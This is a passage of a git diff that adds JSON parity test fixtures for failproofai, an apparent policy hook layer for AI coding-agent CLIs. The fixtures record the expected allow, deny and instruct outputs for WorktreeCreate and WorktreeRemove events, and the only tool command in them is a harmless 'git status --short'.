"antigravity", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..1858268f --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..13f1a459 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..edbdea4d --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..84b8eb77 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..a0e74de2 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/deny__tool-present__one-policy.json new file mode 100644 index 00000000..932eb966 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/deny__tool-present__two-policies.json new file mode 100644 index 00000000..c37e502e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "deny", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"deny\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..c131e31e --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..408b6b34 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ad8b971b --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeCreate/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeCreate/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..5da2c8bc --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeCreate/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "instruct", + "event": "WorktreeCreate", + "input": { + "event_type": "WorktreeCreate", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeCreate", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeCreate", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..64e9d271 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..375ac659 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..b48357dc --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..c2d4a250 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "antigravity", + "decision_kind": "allow-silent", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..357e2b85 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..894bc9c3 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..3e4c2568 --- /dev/null +++ b/__tests__/parity/fixtures/antigravity/WorktreeRemove/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "antigravity", + "decision_kind": "allow-with-reason", + "event": "WorktreeRemove", + "input": { + "event_type": "WorktreeRemove", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "WorktreeRemove", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "antigravity", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "WorktreeRemove", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ 